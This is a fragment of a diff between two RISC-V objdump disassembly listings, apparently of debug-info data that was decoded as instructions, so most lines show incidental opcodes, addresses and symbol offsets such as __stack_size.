-    1b04:	1300                	addi	s0,sp,416
-    1b06:	5a01                	li	s4,-32
-    1b08:	0305                	addi	t1,t1,1
-    1b0a:	52dc                	lw	a5,36(a3)
-    1b0c:	2040                	fld	fs0,128(s0)
-    1b0e:	015b0113          	addi	sp,s6,21
-    1b12:	1334                	addi	a3,sp,424
-    1b14:	5c01                	li	s8,-32
-    1b16:	7802                	flw	fa6,32(sp)
+    1ade:	0302                	c.slli64	t1
+    1ae0:	00a4                	addi	s1,sp,72
+    1ae2:	0400                	addi	s0,sp,512
+    1ae4:	0f38                	addi	a4,sp,920
+    1ae6:	0000006b          	0x6b
+    1aea:	ef02                	fsw	ft0,156(sp)
+    1aec:	00a4                	addi	s1,sp,72
+    1aee:	0400                	addi	s0,sp,512
+    1af0:	183c                	addi	a5,sp,56
+    1af2:	0072                	c.slli	zero,0x1c
+    1af4:	0000                	unimp
+    1af6:	db02                	sw	zero,180(sp)
+    1af8:	040000a3          	sb	zero,65(zero) # 41 <__stack_size-0x7bf>
+    1afc:	0072183f 98020000 	0x980200000072183f
+    1b04:	00a4                	addi	s1,sp,72
+    1b06:	0400                	addi	s0,sp,512
+    1b08:	0072184b          	fnmsub.s	fa6,ft4,ft7,ft0,rtz
+    1b0c:	0000                	unimp
+    1b0e:	6302                	flw	ft6,0(sp)
+    1b10:	00a4                	addi	s1,sp,72
+    1b12:	0400                	addi	s0,sp,512
+    1b14:	145a                	slli	s0,s0,0x36
+    1b16:	0080                	addi	s0,sp,64
     1b18:	0000                	unimp
-    1b1a:	0412                	slli	s0,s0,0x4
-    1b1c:	0820401b          	0x820401b
-    1b20:	001d                	c.nop	7
-    1b22:	1600                	addi	s0,sp,800
-    1b24:	1300001b          	0x1300001b
-    1b28:	5a01                	li	s4,-32
-    1b2a:	0305                	addi	t1,t1,1
-    1b2c:	5310                	lw	a2,32(a4)
-    1b2e:	2040                	fld	fs0,128(s0)
-    1b30:	015b0113          	addi	sp,s6,21
-    1b34:	1335                	addi	t1,t1,-19
-    1b36:	5c01                	li	s8,-32
-    1b38:	7802                	flw	fa6,32(sp)
-    1b3a:	0000                	unimp
-    1b3c:	1814                	addi	a3,sp,48
-    1b3e:	0820401b          	0x820401b
-    1b42:	001d                	c.nop	7
-    1b44:	1200                	addi	s0,sp,288
-    1b46:	1b76                	slli	s6,s6,0x3d
-    1b48:	2040                	fld	fs0,128(s0)
-    1b4a:	1d14                	addi	a3,sp,688
-    1b4c:	0000                	unimp
-    1b4e:	1b40                	addi	s0,sp,436
+    1b1a:	ca02                	sw	zero,20(sp)
+    1b1c:	00a4                	addi	s1,sp,72
+    1b1e:	0400                	addi	s0,sp,512
+    1b20:	1066                	c.slli	zero,0x39
+    1b22:	00be                	slli	ra,ra,0xf
+    1b24:	0000                	unimp
+    1b26:	8b02                	jr	s6
+    1b28:	04000093          	li	ra,64
+    1b2c:	003c1793          	slli	a5,s8,0x3
+    1b30:	0000                	unimp
+    1b32:	0405                	addi	s0,s0,1
+    1b34:	0502                	c.slli64	a0
+    1b36:	00a5                	addi	ra,ra,9
+    1b38:	0400                	addi	s0,sp,512
+    1b3a:	18d1                	addi	a7,a7,-12
+    1b3c:	0072                	c.slli	zero,0x1c
+    1b3e:	0000                	unimp
+    1b40:	0406                	slli	s0,s0,0x1
+    1b42:	0132                	slli	sp,sp,0xc
+    1b44:	0000                	unimp
+    1b46:	74080103          	lb	sp,1856(a6)
+    1b4a:	007f                	0x7f
+    1b4c:	0700                	addi	s0,sp,896
+    1b4e:	0132                	slli	sp,sp,0xc
     1b50:	0000                	unimp
-    1b52:	015a0113          	addi	sp,s4,21
-    1b56:	1331                	addi	t1,t1,-20
-    1b58:	5b01                	li	s6,-32
-    1b5a:	0305                	addi	t1,t1,1
-    1b5c:	5448                	lw	a0,44(s0)
-    1b5e:	2040                	fld	fs0,128(s0)
-    1b60:	015c0113          	addi	sp,s8,21
-    1b64:	0036                	c.slli	zero,0xd
-    1b66:	8812                	mv	a6,tp
-    1b68:	0820401b          	0x820401b
-    1b6c:	001d                	c.nop	7
-    1b6e:	6b00                	flw	fs0,16(a4)
-    1b70:	1300001b          	0x1300001b
-    1b74:	5a01                	li	s4,-32
-    1b76:	0305                	addi	t1,t1,1
-    1b78:	5450                	lw	a2,44(s0)
-    1b7a:	2040                	fld	fs0,128(s0)
-    1b7c:	025b0113          	addi	sp,s6,37
-    1b80:	0079                	c.nop	30
-    1b82:	025c0113          	addi	sp,s8,37
-    1b86:	0078                	addi	a4,sp,12
-    1b88:	045d0113          	addi	sp,s10,69
-    1b8c:	9c91                	0x9c91
-    1b8e:	067f                	0x67f
-    1b90:	1200                	addi	s0,sp,288
-    1b92:	1b9a                	slli	s7,s7,0x26
-    1b94:	2040                	fld	fs0,128(s0)
-    1b96:	1d08                	addi	a0,sp,688
+    1b52:	0406                	slli	s0,s0,0x1
+    1b54:	0139                	addi	sp,sp,14
+    1b56:	0000                	unimp
+    1b58:	0406                	slli	s0,s0,0x1
+    1b5a:	014a                	slli	sp,sp,0x12
+    1b5c:	0000                	unimp
+    1b5e:	0208                	addi	a0,sp,256
+    1b60:	0476                	slli	s0,s0,0x1d
+    1b62:	0000                	unimp
+    1b64:	1805                	addi	a6,a6,-31
+    1b66:	00005813          	srli	a6,zero,0x0
+    1b6a:	0700                	addi	s0,sp,896
+    1b6c:	0000014b          	fnmsub.s	ft2,ft0,ft0,ft0,rne
+    1b70:	ed02                	fsw	ft0,152(sp)
+    1b72:	05000027          	0x5000027
+    1b76:	1430                	addi	a2,sp,552
+    1b78:	0080                	addi	s0,sp,64
+    1b7a:	0000                	unimp
+    1b7c:	eb02                	fsw	ft0,148(sp)
+    1b7e:	060000a3          	sb	zero,97(zero) # 61 <__stack_size-0x79f>
+    1b82:	122a                	slli	tp,tp,0x2a
+    1b84:	009a                	slli	ra,ra,0x6
+    1b86:	0000                	unimp
+    1b88:	c109                	beqz	a0,1b8a <__stack_size+0x138a>
+    1b8a:	00a4                	addi	s1,sp,72
+    1b8c:	1000                	addi	s0,sp,32
+    1b8e:	9c082f07          	flw	ft10,-1600(a6)
+    1b92:	0001                	nop
+    1b94:	0a00                	addi	s0,sp,272
+    1b96:	781e                	flw	fa6,228(sp)
     1b98:	0000                	unimp
-    1b9a:	1b82                	slli	s7,s7,0x20
-    1b9c:	0000                	unimp
-    1b9e:	055a0113          	addi	sp,s4,85
-    1ba2:	40546c03          	0x40546c03
-    1ba6:	0020                	addi	s0,sp,8
-    1ba8:	a812                	fsd	ft4,16(sp)
-    1baa:	0820401b          	0x820401b
-    1bae:	001d                	c.nop	7
-    1bb0:	9900                	0x9900
-    1bb2:	1300001b          	0x1300001b
-    1bb6:	5a01                	li	s4,-32
-    1bb8:	0305                	addi	t1,t1,1
-    1bba:	5480                	lw	s0,40(s1)
-    1bbc:	2040                	fld	fs0,128(s0)
-    1bbe:	1200                	addi	s0,sp,288
-    1bc0:	1bb6                	slli	s7,s7,0x2d
-    1bc2:	2040                	fld	fs0,128(s0)
-    1bc4:	1d08                	addi	a0,sp,688
+    1b9a:	68093007          	fld	ft0,1664(s2) # 1680 <__stack_size+0xe80>
+    1b9e:	0001                	nop
+    1ba0:	0000                	unimp
+    1ba2:	d90a                	sw	sp,176(sp)
+    1ba4:	00a4                	addi	s1,sp,72
+    1ba6:	0700                	addi	s0,sp,896
+    1ba8:	0731                	addi	a4,a4,12
+    1baa:	0079                	c.nop	30
+    1bac:	0000                	unimp
+    1bae:	0008                	0x8
+    1bb0:	8902                	jr	s2
+    1bb2:	00a4                	addi	s1,sp,72
+    1bb4:	0800                	addi	s0,sp,16
+    1bb6:	1461                	addi	s0,s0,-8
+    1bb8:	00a6                	slli	ra,ra,0x9
+    1bba:	0000                	unimp
+    1bbc:	2402                	fld	fs0,0(sp)
+    1bbe:	00a4                	addi	s1,sp,72
+    1bc0:	0800                	addi	s0,sp,16
+    1bc2:	1566                	slli	a0,a0,0x39
+    1bc4:	00b2                	slli	ra,ra,0xc
     1bc6:	0000                	unimp
-    1bc8:	1bb0                	addi	a2,sp,504
-    1bca:	0000                	unimp
-    1bcc:	055a0113          	addi	sp,s4,85
-    1bd0:	40549403          	lh	s0,1029(s1)
-    1bd4:	0020                	addi	s0,sp,8
-    1bd6:	c612                	sw	tp,12(sp)
-    1bd8:	1420401b          	0x1420401b
-    1bdc:	001d                	c.nop	7
-    1bde:	d100                	sw	s0,32(a0)
-    1be0:	1300001b          	0x1300001b
-    1be4:	5a01                	li	s4,-32
-    1be6:	3101                	jal	17e6 <__stack_size+0xfe6>
-    1be8:	055b0113          	addi	sp,s6,85
-    1bec:	4054a803          	lw	a6,1029(s1)
-    1bf0:	1320                	addi	s0,sp,424
-    1bf2:	5c01                	li	s8,-32
-    1bf4:	3601                	jal	16f4 <__stack_size+0xef4>
-    1bf6:	1200                	addi	s0,sp,288
-    1bf8:	1be2                	slli	s7,s7,0x38
-    1bfa:	2040                	fld	fs0,128(s0)
-    1bfc:	1d14                	addi	a3,sp,688
-    1bfe:	0000                	unimp
-    1c00:	1bf2                	slli	s7,s7,0x3c
+    1bc8:	9a02                	jalr	s4
+    1bca:	00a4                	addi	s1,sp,72
+    1bcc:	0800                	addi	s0,sp,16
+    1bce:	00ee128b          	0xee128b
+    1bd2:	0000                	unimp
+    1bd4:	cc02                	sw	zero,24(sp)
+    1bd6:	00a4                	addi	s1,sp,72
+    1bd8:	0800                	addi	s0,sp,16
+    1bda:	129d                	addi	t0,t0,-25
+    1bdc:	0106                	slli	sp,sp,0x1
+    1bde:	0000                	unimp
+    1be0:	0502                	c.slli64	a0
+    1be2:	00a4                	addi	s1,sp,72
+    1be4:	0800                	addi	s0,sp,16
+    1be6:	12a1                	addi	t0,t0,-24
+    1be8:	00ca                	slli	ra,ra,0x12
+    1bea:	0000                	unimp
+    1bec:	f102                	fsw	ft0,160(sp)
+    1bee:	00a4                	addi	s1,sp,72
+    1bf0:	0800                	addi	s0,sp,16
+    1bf2:	12a5                	addi	t0,t0,-23
+    1bf4:	00d6                	slli	ra,ra,0x15
+    1bf6:	0000                	unimp
+    1bf8:	dd02                	sw	zero,184(sp)
+    1bfa:	080000a3          	sb	zero,129(zero) # 81 <__stack_size-0x77f>
+    1bfe:	12a9                	addi	t0,t0,-22
+    1c00:	00e2                	slli	ra,ra,0x18
     1c02:	0000                	unimp
-    1c04:	015a0113          	addi	sp,s4,21
-    1c08:	1331                	addi	t1,t1,-20
-    1c0a:	5b01                	li	s6,-32
-    1c0c:	0305                	addi	t1,t1,1
-    1c0e:	5448                	lw	a0,44(s0)
-    1c10:	2040                	fld	fs0,128(s0)
-    1c12:	015c0113          	addi	sp,s8,21
-    1c16:	0036                	c.slli	zero,0xd
-    1c18:	f412                	fsw	ft4,40(sp)
-    1c1a:	0820401b          	0x820401b
-    1c1e:	001d                	c.nop	7
-    1c20:	1d00                	addi	s0,sp,688
-    1c22:	001c                	0x1c
-    1c24:	1300                	addi	s0,sp,416
-    1c26:	5a01                	li	s4,-32
-    1c28:	0305                	addi	t1,t1,1
-    1c2a:	54b0                	lw	a2,104(s1)
-    1c2c:	2040                	fld	fs0,128(s0)
-    1c2e:	025b0113          	addi	sp,s6,37
-    1c32:	0079                	c.nop	30
-    1c34:	025c0113          	addi	sp,s8,37
-    1c38:	0078                	addi	a4,sp,12
-    1c3a:	045d0113          	addi	sp,s10,69
-    1c3e:	9c91                	0x9c91
-    1c40:	067f                	0x67f
-    1c42:	1200                	addi	s0,sp,288
-    1c44:	1c04                	addi	s1,sp,560
-    1c46:	2040                	fld	fs0,128(s0)
-    1c48:	1d14                	addi	a3,sp,688
-    1c4a:	0000                	unimp
-    1c4c:	1c3e                	slli	s8,s8,0x2f
-    1c4e:	0000                	unimp
-    1c50:	015a0113          	addi	sp,s4,21
-    1c54:	1331                	addi	t1,t1,-20
-    1c56:	5b01                	li	s6,-32
-    1c58:	0305                	addi	t1,t1,1
-    1c5a:	54e4                	lw	s1,108(s1)
-    1c5c:	2040                	fld	fs0,128(s0)
-    1c5e:	015c0113          	addi	sp,s8,21
-    1c62:	0036                	c.slli	zero,0xd
-    1c64:	0c12                	slli	s8,s8,0x4
-    1c66:	401c                	lw	a5,0(s0)
-    1c68:	2020                	fld	fs0,64(s0)
-    1c6a:	001d                	c.nop	7
-    1c6c:	5500                	lw	s0,40(a0)
-    1c6e:	001c                	0x1c
-    1c70:	1300                	addi	s0,sp,416
-    1c72:	5a01                	li	s4,-32
-    1c74:	0305                	addi	t1,t1,1
-    1c76:	d9c8                	sw	a0,52(a1)
-    1c78:	8000                	0x8000
-    1c7a:	1200                	addi	s0,sp,288
-    1c7c:	1c18                	addi	a4,sp,560
-    1c7e:	2040                	fld	fs0,128(s0)
-    1c80:	1d14                	addi	a3,sp,688
-    1c82:	0000                	unimp
-    1c84:	1c71                	addi	s8,s8,-4
+    1c04:	8c02                	jr	s8
+    1c06:	08000093          	li	ra,128
+    1c0a:	12b8                	addi	a4,sp,360
+    1c0c:	0112                	slli	sp,sp,0x4
+    1c0e:	0000                	unimp
+    1c10:	6502                	flw	fa0,0(sp)
+    1c12:	00a4                	addi	s1,sp,72
+    1c14:	0800                	addi	s0,sp,16
+    1c16:	12bd                	addi	t0,t0,-17
+    1c18:	00fa                	slli	ra,ra,0x1e
+    1c1a:	0000                	unimp
+    1c1c:	0702                	c.slli64	a4
+    1c1e:	00a5                	addi	ra,ra,9
+    1c20:	0800                	addi	s0,sp,16
+    1c22:	13c2                	slli	t2,t2,0x30
+    1c24:	0120                	addi	s0,sp,136
+    1c26:	0000                	unimp
+    1c28:	d409                	beqz	s0,1b32 <__stack_size+0x1332>
+    1c2a:	00a4                	addi	s1,sp,72
+    1c2c:	5800                	lw	s0,48(s0)
+    1c2e:	1b09                	addi	s6,s6,-30
+    1c30:	d808                	sw	a0,48(s0)
+    1c32:	0002                	c.slli64	zero
+    1c34:	0a00                	addi	s0,sp,272
+    1c36:	a4ba                	fsd	fa4,72(sp)
+    1c38:	0000                	unimp
+    1c3a:	1d09                	addi	s10,s10,-30
+    1c3c:	cc0a                	sw	sp,24(sp)
+    1c3e:	0001                	nop
+    1c40:	0000                	unimp
+    1c42:	fe0a                	fsw	ft2,60(sp)
+    1c44:	00a4                	addi	s1,sp,72
+    1c46:	0900                	addi	s0,sp,144
+    1c48:	0a1e                	slli	s4,s4,0x7
+    1c4a:	01b4                	addi	a3,sp,200
+    1c4c:	0000                	unimp
+    1c4e:	0a02                	c.slli64	s4
+    1c50:	0000a4e7          	0xa4e7
+    1c54:	1f09                	addi	t5,t5,-30
+    1c56:	fc0a                	fsw	ft2,56(sp)
+    1c58:	0001                	nop
+    1c5a:	0400                	addi	s0,sp,512
+    1c5c:	770a                	flw	fa4,160(sp)
+    1c5e:	00a4                	addi	s1,sp,72
+    1c60:	0900                	addi	s0,sp,144
+    1c62:	0b20                	addi	s0,sp,408
+    1c64:	0208                	addi	a0,sp,256
+    1c66:	0000                	unimp
+    1c68:	0a08                	addi	a0,sp,272
+    1c6a:	0000a413          	slti	s0,ra,0
+    1c6e:	2109                	jal	2070 <__stack_size+0x1870>
+    1c70:	d80a                	sw	sp,48(sp)
+    1c72:	0001                	nop
+    1c74:	0a00                	addi	s0,sp,272
+    1c76:	800a                	c.mv	zero,sp
+    1c78:	00a4                	addi	s1,sp,72
+    1c7a:	0900                	addi	s0,sp,144
+    1c7c:	0a22                	slli	s4,s4,0x8
+    1c7e:	01e4                	addi	s1,sp,204
+    1c80:	0000                	unimp
+    1c82:	0a0c                	addi	a1,sp,272
+    1c84:	a438                	fsd	fa4,72(s0)
     1c86:	0000                	unimp
-    1c88:	015a0113          	addi	sp,s4,21
-    1c8c:	1331                	addi	t1,t1,-20
-    1c8e:	5b01                	li	s6,-32
-    1c90:	0305                	addi	t1,t1,1
-    1c92:	d9c8                	sw	a0,52(a1)
-    1c94:	8000                	0x8000
-    1c96:	1200                	addi	s0,sp,288
-    1c98:	1c28                	addi	a0,sp,568
-    1c9a:	2040                	fld	fs0,128(s0)
-    1c9c:	1d14                	addi	a3,sp,688
-    1c9e:	0000                	unimp
-    1ca0:	1c92                	slli	s9,s9,0x24
-    1ca2:	0000                	unimp
-    1ca4:	015a0113          	addi	sp,s4,21
-    1ca8:	1331                	addi	t1,t1,-20
-    1caa:	5b01                	li	s6,-32
-    1cac:	0305                	addi	t1,t1,1
-    1cae:	54f0                	lw	a2,108(s1)
-    1cb0:	2040                	fld	fs0,128(s0)
-    1cb2:	015c0113          	addi	sp,s8,21
-    1cb6:	0036                	c.slli	zero,0xd
-    1cb8:	5012                	0x5012
-    1cba:	401c                	lw	a5,0(s0)
-    1cbc:	da20                	sw	s0,112(a2)
-    1cbe:	001d                	c.nop	7
-    1cc0:	b100                	fsd	fs0,32(a0)
-    1cc2:	001c                	0x1c
-    1cc4:	1300                	addi	s0,sp,416
-    1cc6:	5a01                	li	s4,-32
-    1cc8:	3001                	jal	14c8 <__stack_size+0xcc8>
-    1cca:	035b0113          	addi	sp,s6,53
-    1cce:	a891                	j	1d22 <__stack_size+0x1522>
-    1cd0:	137f                	0x137f
-    1cd2:	5c01                	li	s8,-32
-    1cd4:	3801                	jal	14e4 <__stack_size+0xce4>
-    1cd6:	1b00                	addi	s0,sp,432
-    1cd8:	1c7a                	slli	s8,s8,0x3e
-    1cda:	2040                	fld	fs0,128(s0)
-    1cdc:	1d8a                	slli	s11,s11,0x22
-    1cde:	0000                	unimp
-    1ce0:	035b0113          	addi	sp,s6,53
-    1ce4:	a891                	j	1d38 <__stack_size+0x1538>
-    1ce6:	137f                	0x137f
-    1ce8:	5c01                	li	s8,-32
-    1cea:	7802                	flw	fa6,32(sp)
-    1cec:	0000                	unimp
-    1cee:	1200                	addi	s0,sp,288
-    1cf0:	1a68                	addi	a0,sp,316
-    1cf2:	2040                	fld	fs0,128(s0)
-    1cf4:	1d08                	addi	a0,sp,688
-    1cf6:	0000                	unimp
-    1cf8:	1ce0                	addi	s0,sp,636
-    1cfa:	0000                	unimp
-    1cfc:	055a0113          	addi	sp,s4,85
-    1d00:	40551c03          	lh	s8,1029(a0)
-    1d04:	0020                	addi	s0,sp,8
-    1d06:	401a761b          	0x401a761b
-    1d0a:	da20                	sw	s0,112(a2)
-    1d0c:	001d                	c.nop	7
-    1d0e:	1300                	addi	s0,sp,416
-    1d10:	5a01                	li	s4,-32
-    1d12:	3001                	jal	1512 <__stack_size+0xd12>
-    1d14:	035b0113          	addi	sp,s6,53
-    1d18:	a891                	j	1d6c <__stack_size+0x156c>
-    1d1a:	137f                	0x137f
-    1d1c:	5c01                	li	s8,-32
-    1d1e:	3101                	jal	191e <__stack_size+0x111e>
-    1d20:	0000                	unimp
-    1d22:	0f2d                	addi	t5,t5,11
-    1d24:	0f0000a3          	sb	a6,225(zero) # e1 <__stack_size-0x71f>
-    1d28:	040000a3          	sb	zero,65(zero) # 41 <__stack_size-0x7bf>
-    1d2c:	0cd5                	addi	s9,s9,21
-    1d2e:	7d2d                	lui	s10,0xfffeb
-    1d30:	0022                	c.slli	zero,0x8
-    1d32:	7d00                	flw	fs0,56(a0)
-    1d34:	0022                	c.slli	zero,0x8
-    1d36:	0500                	addi	s0,sp,640
-    1d38:	05c8                	addi	a0,sp,708
-    1d3a:	202d                	jal	1d64 <__stack_size+0x1564>
-    1d3c:	00a2                	slli	ra,ra,0x8
-    1d3e:	2000                	fld	fs0,0(s0)
-    1d40:	00a2                	slli	ra,ra,0x8
-    1d42:	0600                	addi	s0,sp,768
-    1d44:	19f5                	addi	s3,s3,-3
-    1d46:	8b2d                	andi	a4,a4,11
-    1d48:	0070                	addi	a2,sp,12
-    1d4a:	8b00                	0x8b00
-    1d4c:	0070                	addi	a2,sp,12
-    1d4e:	0700                	addi	s0,sp,896
-    1d50:	0929                	addi	s2,s2,10
-    1d52:	712d                	addi	sp,sp,-288
-    1d54:	0082                	c.slli64	ra
-    1d56:	7100                	flw	fs0,32(a0)
-    1d58:	0082                	c.slli64	ra
-    1d5a:	0700                	addi	s0,sp,896
-    1d5c:	0826                	slli	a6,a6,0x9
-    1d5e:	6c2d                	lui	s8,0xb
-    1d60:	009d                	addi	ra,ra,7
-    1d62:	6c00                	flw	fs0,24(s0)
-    1d64:	009d                	addi	ra,ra,7
-    1d66:	0700                	addi	s0,sp,896
-    1d68:	0624                	addi	s1,sp,776
-    1d6a:	502d                	c.li	zero,-21
-    1d6c:	50000047          	fmsub.s	ft0,ft0,ft0,fa0,rne
-    1d70:	08000047          	fmsub.s	ft0,ft0,ft0,ft1,rne
-    1d74:	0fad                	addi	t6,t6,11
-    1d76:	bb2d                	j	1ab0 <__stack_size+0x12b0>
-    1d78:	0032                	c.slli	zero,0xc
-    1d7a:	bb00                	fsd	fs0,48(a4)
-    1d7c:	0032                	c.slli	zero,0xc
-    1d7e:	0700                	addi	s0,sp,896
-    1d80:	082c                	addi	a1,sp,24
-    1d82:	4d2e                	lw	s10,200(sp)
-    1d84:	0099                	addi	ra,ra,6
-    1d86:	4d00                	lw	s0,24(a0)
-    1d88:	0099                	addi	ra,ra,6
-    1d8a:	0800                	addi	s0,sp,16
-    1d8c:	0111                	addi	sp,sp,4
-    1d8e:	2f14                	fld	fa3,24(a4)
-    1d90:	6261                	lui	tp,0x18
-    1d92:	62610073          	0x62610073
-    1d96:	46080073          	0x46080073
-    1d9a:	3005                	jal	15ba <__stack_size+0xdba>
-    1d9c:	00000543          	fmadd.s	fa0,ft0,ft0,ft0,rne
-    1da0:	00000543          	fmadd.s	fa0,ft0,ft0,ft0,rne
-    1da4:	162d                	addi	a2,a2,-21
-    1da6:	0066                	c.slli	zero,0x19
-    1da8:	1600                	addi	s0,sp,800
-    1daa:	0066                	c.slli	zero,0x19
-    1dac:	0700                	addi	s0,sp,896
-    1dae:	0832                	slli	a6,a6,0xc
-    1db0:	e62d                	bnez	a2,1e1a <__stack_size+0x161a>
-    1db2:	e6000013          	li	zero,-416
-    1db6:	07000013          	li	zero,112
-    1dba:	091f 3a2d 0001      	0x13a2d091f
-    1dc0:	3a00                	fld	fs0,48(a2)
-    1dc2:	0001                	nop
-    1dc4:	0700                	addi	s0,sp,896
-    1dc6:	542d0977          	0x542d0977
-    1dca:	0012                	c.slli	zero,0x4
-    1dcc:	5400                	lw	s0,40(s0)
-    1dce:	0012                	c.slli	zero,0x4
-    1dd0:	0700                	addi	s0,sp,896
-    1dd2:	082e                	slli	a6,a6,0xb
-    1dd4:	7a30                	flw	fa2,112(a2)
-    1dd6:	0084                	addi	s1,sp,64
-    1dd8:	7a00                	flw	fs0,48(a2)
-    1dda:	0084                	addi	s1,sp,64
-    1ddc:	2d00                	fld	fs0,24(a0)
-    1dde:	227c                	fld	fa5,192(a2)
-    1de0:	0000                	unimp
-    1de2:	227c                	fld	fa5,192(a2)
-    1de4:	0000                	unimp
-    1de6:	f405                	bnez	s0,1d0e <__stack_size+0x150e>
-    1de8:	2d05                	jal	2418 <__stack_size+0x1c18>
-    1dea:	7ba9                	lui	s7,0xfffea
-    1dec:	0000                	unimp
-    1dee:	7ba9                	lui	s7,0xfffea
-    1df0:	0000                	unimp
-    1df2:	8f08                	0x8f08
-    1df4:	3106                	fld	ft2,96(sp)
-    1df6:	15d8                	addi	a4,sp,740
-    1df8:	0000                	unimp
-    1dfa:	15ce                	slli	a1,a1,0x33
-    1dfc:	0000                	unimp
-    1dfe:	0009                	c.nop	2
-    1e00:	e22d                	bnez	a2,1e62 <__stack_size+0x1662>
-    1e02:	00a2                	slli	ra,ra,0x8
-    1e04:	e200                	fsw	fs0,0(a2)
-    1e06:	00a2                	slli	ra,ra,0x8
-    1e08:	0600                	addi	s0,sp,768
-    1e0a:	19bd                	addi	s3,s3,-17
-    1e0c:	af00                	fsd	fs0,24(a4)
-    1e0e:	0005                	c.nop	1
-    1e10:	0400                	addi	s0,sp,512
-    1e12:	0200                	addi	s0,sp,256
-    1e14:	04000003          	lb	zero,64(zero) # 40 <__stack_size-0x7c0>
-    1e18:	b001                	j	1618 <__stack_size+0xe18>
-    1e1a:	004d                	c.nop	19
-    1e1c:	0c00                	addi	s0,sp,528
-    1e1e:	a274                	fsd	fa3,192(a2)
+    1c88:	2309                	jal	218a <__stack_size+0x198a>
+    1c8a:	cc0a                	sw	sp,24(sp)
+    1c8c:	0001                	nop
+    1c8e:	0e00                	addi	s0,sp,784
+    1c90:	0b0a                	slli	s6,s6,0x2
+    1c92:	00a4                	addi	s1,sp,72
+    1c94:	0900                	addi	s0,sp,144
+    1c96:	0a24                	addi	s1,sp,280
+    1c98:	01c0                	addi	s0,sp,196
+    1c9a:	0000                	unimp
+    1c9c:	0a10                	addi	a2,sp,272
+    1c9e:	0000a50f          	0xa50f
+    1ca2:	2a09                	jal	1db4 <__stack_size+0x15b4>
+    1ca4:	00017413          	andi	s0,sp,0
+    1ca8:	1800                	addi	s0,sp,48
+    1caa:	e30a                	fsw	ft2,132(sp)
+    1cac:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
+    1cb0:	0174132b          	0x174132b
+    1cb4:	0000                	unimp
+    1cb6:	0a28                	addi	a0,sp,280
+    1cb8:	a3be                	fsd	fa5,448(sp)
+    1cba:	0000                	unimp
+    1cbc:	2c09                	jal	1ece <__stack_size+0x16ce>
+    1cbe:	00017413          	andi	s0,sp,0
+    1cc2:	3800                	fld	fs0,48(s0)
+    1cc4:	c60a                	sw	sp,12(sp)
+    1cc6:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
+    1cca:	112d                	addi	sp,sp,-21
+    1ccc:	01a8                	addi	a0,sp,200
+    1cce:	0000                	unimp
+    1cd0:	0a48                	addi	a0,sp,276
+    1cd2:	a3d1                	j	2296 <__stack_size+0x1a96>
+    1cd4:	0000                	unimp
+    1cd6:	2e09                	jal	1fe8 <__stack_size+0x17e8>
+    1cd8:	9c0c                	0x9c0c
+    1cda:	0001                	nop
+    1cdc:	4c00                	lw	s0,24(s0)
+    1cde:	2e0a                	fld	ft8,128(sp)
+    1ce0:	00a4                	addi	s1,sp,72
+    1ce2:	0900                	addi	s0,sp,144
+    1ce4:	0930                	addi	a2,sp,152
+    1ce6:	02d8                	addi	a4,sp,324
+    1ce8:	0000                	unimp
+    1cea:	0050                	addi	a2,sp,4
+    1cec:	0000790b          	0x790b
+    1cf0:	e800                	fsw	fs0,16(s0)
+    1cf2:	0002                	c.slli64	zero
+    1cf4:	0c00                	addi	s0,sp,528
+    1cf6:	0035                	c.nop	13
+    1cf8:	0000                	unimp
+    1cfa:	0001                	nop
+    1cfc:	f20d                	bnez	a2,1c1e <__stack_size+0x141e>
+    1cfe:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    1d02:	085f 0029 0000      	0x29085f
+    1d08:	2338                	fld	fa4,64(a4)
+    1d0a:	2040                	fld	fs0,128(s0)
+    1d0c:	0052                	c.slli	zero,0x14
+    1d0e:	0000                	unimp
+    1d10:	9c01                	0x9c01
+    1d12:	036e                	slli	t1,t1,0x1b
+    1d14:	0000                	unimp
+    1d16:	720e                	flw	ft4,224(sp)
+    1d18:	00a4                	addi	s1,sp,72
+    1d1a:	0100                	addi	s0,sp,128
+    1d1c:	135f 003c 0000      	0x3c135f
+    1d22:	07ae                	slli	a5,a5,0xb
+    1d24:	0000                	unimp
+    1d26:	7274700f          	0x7274700f
+    1d2a:	0100                	addi	s0,sp,128
+    1d2c:	255f 0144 0000      	0x144255f
+    1d32:	000007cf          	fnmadd.s	fa5,ft0,ft0,ft0,rne
+    1d36:	6e656c0f          	0x6e656c0f
+    1d3a:	0100                	addi	s0,sp,128
+    1d3c:	315f 0029 0000      	0x29315f
+    1d42:	0806                	slli	a6,a6,0x1
+    1d44:	0000                	unimp
+    1d46:	e010                	fsw	fa2,0(s0)
+    1d48:	0001                	nop
+    1d4a:	5c00                	lw	s0,56(s0)
+    1d4c:	11000003          	lb	zero,272(zero) # 110 <__stack_size-0x6f0>
+    1d50:	a4aa                	fsd	fa0,72(sp)
+    1d52:	0000                	unimp
+    1d54:	6401                	0x6401
+    1d56:	00036e13          	ori	t3,t1,0
+    1d5a:	1200                	addi	s0,sp,288
+    1d5c:	01e0                	addi	s0,sp,204
+    1d5e:	0000                	unimp
+    1d60:	01006913          	ori	s2,zero,16
+    1d64:	0f66                	slli	t5,t5,0x19
+    1d66:	0029                	c.nop	10
+    1d68:	0000                	unimp
+    1d6a:	0000084b          	fnmsub.s	fa6,ft0,ft0,ft0,rne
+    1d6e:	0000                	unimp
+    1d70:	4614                	lw	a3,8(a2)
+    1d72:	9a204023          	0x9a204023
+    1d76:	0005                	c.nop	1
+    1d78:	1500                	addi	s0,sp,672
+    1d7a:	5a01                	li	s4,-32
+    1d7c:	5a01f303          	0x5a01f303
+    1d80:	0000                	unimp
+    1d82:	0406                	slli	s0,s0,0x1
+    1d84:	00000157          	0x157
+    1d88:	b40d                	j	17aa <__stack_size+0xfaa>
+    1d8a:	00a4                	addi	s1,sp,72
+    1d8c:	0100                	addi	s0,sp,128
+    1d8e:	003c054b          	fnmsub.s	fa0,fs8,ft3,ft0,rne
+    1d92:	0000                	unimp
+    1d94:	22fe                	fld	ft5,472(sp)
+    1d96:	2040                	fld	fs0,128(s0)
+    1d98:	003a                	c.slli	zero,0xe
+    1d9a:	0000                	unimp
+    1d9c:	9c01                	0x9c01
+    1d9e:	03fa                	slli	t2,t2,0x1e
+    1da0:	0000                	unimp
+    1da2:	720e                	flw	ft4,224(sp)
+    1da4:	00a4                	addi	s1,sp,72
+    1da6:	0100                	addi	s0,sp,128
+    1da8:	003c0f4b          	fnmsub.s	ft10,fs8,ft3,ft0,rne
+    1dac:	0000                	unimp
+    1dae:	0895                	addi	a7,a7,5
